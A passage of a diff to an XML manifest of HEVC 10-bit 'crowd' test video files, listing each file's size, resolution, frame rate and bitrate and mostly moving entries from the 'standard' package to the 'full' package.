+    <value>mime=video/hevc,size=181202,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1442792,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=181203,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1442792,package=standard</value>
+    <value>mime=video/hevc,size=181203,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1442792,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=181204,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1442792,package=standard</value>
+    <value>mime=video/hevc,size=181204,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1442792,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=220516,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=43926800,package=standard</value>
+    <value>mime=video/hevc,size=220516,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=43926800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=220525,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=43928800,package=standard</value>
+    <value>mime=video/hevc,size=220525,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=43928800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=220526,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=43928800,package=standard</value>
+    <value>mime=video/hevc,size=220526,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=43928800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=220527,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=43928800,package=standard</value>
+    <value>mime=video/hevc,size=220527,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=43928800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=251458,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33399600,package=standard</value>
+    <value>mime=video/hevc,size=251458,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33399600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=251459,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33399600,package=standard</value>
+    <value>mime=video/hevc,size=251459,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33399600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=251460,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33399600,package=standard</value>
+    <value>mime=video/hevc,size=251460,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33399600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=270324,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=26935096,package=standard</value>
+    <value>mime=video/hevc,size=270324,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=26935096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=274993,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=27401896,package=standard</value>
+    <value>mime=video/hevc,size=274993,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=27401896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=274994,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=27401896,package=standard</value>
+    <value>mime=video/hevc,size=274994,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=27401896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=303270,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24182720,package=standard</value>
+    <value>mime=video/hevc,size=303270,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24182720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=303271,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24182720,package=standard</value>
+    <value>mime=video/hevc,size=303271,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24182720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=324104,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21540400,package=standard</value>
+    <value>mime=video/hevc,size=324104,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21540400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=319880,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21259264,package=standard</value>
+    <value>mime=video/hevc,size=319880,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21259264,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=344004,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19599656,package=standard</value>
+    <value>mime=video/hevc,size=344004,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19599656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=349467,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19912680,package=standard</value>
+    <value>mime=video/hevc,size=349467,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19912680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=361625,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18030144,package=standard</value>
+    <value>mime=video/hevc,size=361625,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18030144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=363360,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18118048,package=standard</value>
+    <value>mime=video/hevc,size=363360,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18118048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f9_gop8.mp4">
     <value>mime=video/hevc,size=395730,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=17543416,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=28610,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1103840,package=standard</value>
+    <value>mime=video/hevc,size=28610,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1103840,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=29745,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1044320,package=standard</value>
+    <value>mime=video/hevc,size=29745,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1044320,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=30704,width=640,height=360,frame-rate=50,profile=,level=,bitrate=988864,package=standard</value>
+    <value>mime=video/hevc,size=30704,width=640,height=360,frame-rate=50,profile=,level=,bitrate=988864,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=31604,width=640,height=360,frame-rate=50,profile=,level=,bitrate=940120,package=standard</value>
+    <value>mime=video/hevc,size=31604,width=640,height=360,frame-rate=50,profile=,level=,bitrate=940120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=32034,width=640,height=360,frame-rate=50,profile=,level=,bitrate=885136,package=standard</value>
+    <value>mime=video/hevc,size=32034,width=640,height=360,frame-rate=50,profile=,level=,bitrate=885136,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=33555,width=640,height=360,frame-rate=50,profile=,level=,bitrate=866584,package=standard</value>
+    <value>mime=video/hevc,size=33555,width=640,height=360,frame-rate=50,profile=,level=,bitrate=866584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=33224,width=640,height=360,frame-rate=50,profile=,level=,bitrate=804048,package=standard</value>
+    <value>mime=video/hevc,size=33224,width=640,height=360,frame-rate=50,profile=,level=,bitrate=804048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=13453,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100808,package=standard</value>
+    <value>mime=video/hevc,size=13453,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100808,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=13464,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100888,package=standard</value>
+    <value>mime=video/hevc,size=13464,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100888,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=13463,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100888,package=standard</value>
+    <value>mime=video/hevc,size=13463,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100888,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=13465,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100888,package=standard</value>
+    <value>mime=video/hevc,size=13465,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100888,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=16584,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3140800,package=standard</value>
+    <value>mime=video/hevc,size=16584,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3140800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=16595,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3142800,package=standard</value>
+    <value>mime=video/hevc,size=16595,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3142800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=16594,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3142800,package=standard</value>
+    <value>mime=video/hevc,size=16594,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3142800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=16596,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3142800,package=standard</value>
+    <value>mime=video/hevc,size=16596,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3142800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=18589,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2350400,package=standard</value>
+    <value>mime=video/hevc,size=18589,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2350400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=18588,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2350400,package=standard</value>
+    <value>mime=video/hevc,size=18588,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2350400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=18590,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2350400,package=standard</value>
+    <value>mime=video/hevc,size=18590,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2350400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=19981,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1900800,package=standard</value>
+    <value>mime=video/hevc,size=19981,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1900800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=20167,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1919496,package=standard</value>
+    <value>mime=video/hevc,size=20167,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1919496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=20169,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1919496,package=standard</value>
+    <value>mime=video/hevc,size=20169,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1919496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=21522,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1643040,package=standard</value>
+    <value>mime=video/hevc,size=21522,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1643040,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=21524,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1643040,package=standard</value>
+    <value>mime=video/hevc,size=21524,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1643040,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=22613,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1441128,package=standard</value>
+    <value>mime=video/hevc,size=22613,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1441128,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=22316,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1421728,package=standard</value>
+    <value>mime=video/hevc,size=22316,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1421728,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=23667,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1294792,package=standard</value>
+    <value>mime=video/hevc,size=23667,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1294792,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=23699,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1297424,package=standard</value>
+    <value>mime=video/hevc,size=23699,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1297424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=24612,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1179600,package=standard</value>
+    <value>mime=video/hevc,size=24612,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1179600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=24276,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1163896,package=standard</value>
+    <value>mime=video/hevc,size=24276,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1163896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_640x360p50/crowd_640x360p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=25736,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1099288,package=standard</value>
+    <value>mime=video/hevc,size=25736,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1099288,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=67508,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2659760,package=standard</value>
+    <value>mime=video/hevc,size=67508,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2659760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=70085,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2511232,package=standard</value>
+    <value>mime=video/hevc,size=70085,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2511232,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=72479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2381360,package=standard</value>
+    <value>mime=video/hevc,size=72479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2381360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=75619,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2294424,package=standard</value>
+    <value>mime=video/hevc,size=75619,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2294424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=76741,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2162480,package=standard</value>
+    <value>mime=video/hevc,size=76741,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2162480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=80360,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2114720,package=standard</value>
+    <value>mime=video/hevc,size=80360,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2114720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=80717,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1991368,package=standard</value>
+    <value>mime=video/hevc,size=80717,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1991368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=32536,width=854,height=480,frame-rate=1,profile=,level=,bitrate=253464,package=standard</value>
+    <value>mime=video/hevc,size=32536,width=854,height=480,frame-rate=1,profile=,level=,bitrate=253464,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=32546,width=854,height=480,frame-rate=1,profile=,level=,bitrate=253544,package=standard</value>
+    <value>mime=video/hevc,size=32546,width=854,height=480,frame-rate=1,profile=,level=,bitrate=253544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=32547,width=854,height=480,frame-rate=1,profile=,level=,bitrate=253544,package=standard</value>
+    <value>mime=video/hevc,size=32547,width=854,height=480,frame-rate=1,profile=,level=,bitrate=253544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=32547,width=854,height=480,frame-rate=1,profile=,level=,bitrate=253544,package=standard</value>
+    <value>mime=video/hevc,size=32547,width=854,height=480,frame-rate=1,profile=,level=,bitrate=253544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=39304,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7684600,package=standard</value>
+    <value>mime=video/hevc,size=39304,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7684600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=39314,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7686600,package=standard</value>
+    <value>mime=video/hevc,size=39314,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7686600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=39315,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7686600,package=standard</value>
+    <value>mime=video/hevc,size=39315,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7686600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=39315,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7686600,package=standard</value>
+    <value>mime=video/hevc,size=39315,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7686600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=44523,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5808264,package=standard</value>
+    <value>mime=video/hevc,size=44523,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5808264,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=44524,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5808264,package=standard</value>
+    <value>mime=video/hevc,size=44524,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5808264,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=44524,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5808264,package=standard</value>
+    <value>mime=video/hevc,size=44524,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5808264,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=47944,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4697096,package=standard</value>
+    <value>mime=video/hevc,size=47944,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4697096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=48307,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4733296,package=standard</value>
+    <value>mime=video/hevc,size=48307,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4733296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=48307,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4733296,package=standard</value>
+    <value>mime=video/hevc,size=48307,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4733296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=52558,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4125760,package=standard</value>
+    <value>mime=video/hevc,size=52558,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4125760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=52558,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4125760,package=standard</value>
+    <value>mime=video/hevc,size=52558,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4125760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=55613,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3641000,package=standard</value>
+    <value>mime=video/hevc,size=55613,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3641000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=54453,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3564200,package=standard</value>
+    <value>mime=video/hevc,size=54453,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3564200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=57756,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3242624,package=standard</value>
+    <value>mime=video/hevc,size=57756,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3242624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=59176,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3324680,package=standard</value>
+    <value>mime=video/hevc,size=59176,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3324680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=59422,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2920000,package=standard</value>
+    <value>mime=video/hevc,size=59422,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2920000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=60044,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2952296,package=standard</value>
+    <value>mime=video/hevc,size=60044,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2952296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_854x480p50/crowd_854x480p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=64456,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2820176,package=standard</value>
+    <value>mime=video/hevc,size=64456,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2820176,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_1280x720p50f32_2000kbps_level_4.0.mp4">
-    <value>mime=video/hevc,size=158004,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1958456,package=standard</value>
+    <value>mime=video/hevc,size=158004,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1958456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_1280x720p50f32_8000kbps_level_4.1.mp4">
     <value>mime=video/hevc,size=676045,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8433968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_128x96p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=15685,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179696,package=standard</value>
+    <value>mime=video/hevc,size=15685,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/level/crowd_176x144p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=16096,width=176,height=144,frame-rate=50,profile=,level=,bitrate=184720,package=standard</value>
